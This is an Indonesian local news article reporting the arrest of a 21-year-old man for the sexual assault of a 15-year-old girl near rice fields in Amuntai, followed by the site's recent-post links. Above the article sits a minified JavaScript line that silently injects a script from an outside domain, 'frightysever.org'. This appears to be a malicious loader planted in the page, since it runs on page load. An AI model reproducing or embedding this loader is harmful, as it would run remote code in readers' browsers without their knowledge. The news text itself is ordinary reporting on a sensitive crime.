(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

RA Diringkus Polsek Amuntai, Setelah 2 Bulan Setubuhi SI di Persawahan


AMUNTAI, Polsek Amuntai Kota berhasil meringkus pelaku persetubuhan anak di bawah umur di Jalan Abdul Hamidan, Desa Karias, Kecematan Amuntai Tengah, Kabupaten HSU, tepatnya di sekitar area persawahan, Rabu (20/6) sekitar pukul 12.00 Wita.

Pelaku diketahui berinsial RA (21) warga Desa Sungai Bahadangan Kecamatan Amuntai Tengah Kabupaten HSU.

Sebelumnya, sekitar 2 bulan lalu pada hari Jum’at (20/4) sekitar pukul 22.00 Wita, korban SI (15) warga Desa Sungai Bahadangan, Kecamatan Amuntai Tengah, HSU, disuruh orang tuanya untuk membeli obat. Lalu tersangka RA menawarkan diri untuk mengantar korban membeli obat ke toko yang dimaksud. Setibanya di sana, toko obat tersebut tutup, lalu SI malah diajak jalan-jalan berkeliling oleh tersangka RA. Belakangan RA membawa korban ke sebuah area persawahan di Desa Karias, Kecamatan Amuntai Tengah, HSU, kemudian mengajak korban ke semak-semak memaksa dan mengancam korban untuk disetubuhi.

Belakangan, tante korban yang mengetahui kejadian melaporkan perlakuan RA atas SI ke Polsek Amuntai Kota.

Menerima laporan tersebut Polsek Amuntai Kota langsung melakukan penyelidikan terhadap pelaku. Dua bulan berlalu RA akhirnya berhasil diamankan Rabu (20/6) sekitar pukul 12.00 Wita.

Kapolsek Amuntai Kota Ipda Taufik mengungkapkan, untuk kasus ini sudah diserahkan ke PPA Sat Reskrim untuk penanganan intensif.

“Saat ini kasusnya kami serahkan ke PPA Sat Reskrim Polres HSU sehubungan dengan penanganan secara intens terhadap korban di bawah umur,” ujarnya.

Adapun barang barang bukti yang diamankan Pihak Kepolisian berupa beberapa lembar pakaian milik korban.

Berhasil meringkus RA ini, menjadi kali kedua terkuaknya tindak pidana pencabulan yang terjadi di wilayah hukum Polres HSU.

Kapolres HSU AKBP Agus Sudaryatno SIKMH melalui Kapolsek Amuntai Kota Ipda Taufik menghimbau untuk orang tua agar lebih memperhatikan dan mengawasi setiap kegiatan anak-anaknya.

“Maraknya kasus pencabulan anak dibawah umur ini tentu sangat memprihatinkan. Saya harap orang tua agar lebih memperhatikan dan mengawasi kegiatan anak-anaknya di luar rumah. Isi kegiatan mereka dengan hal hal yang positif dan bekali ilmu agama sejak dini,” pungkasnya. (rico)

Reporter:Rico
Editor:Abi Zarrin Al Ghifari

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

7 jam ago

Peringatan HUT ke-79 PGRI di HSU, Pj Bupati: Tugas Mulia Mencerdaskan Bangsa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More

8 jam ago

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

8 jam ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

9 jam ago

Umi Pipik Isi Tausiah di Talk Show dan Edukasi Pemberdayaan Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More

10 jam ago

Habib Idrus Buka Rakor TPPS Kabupaten Banjar

KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More

13 jam ago

This website uses cookies.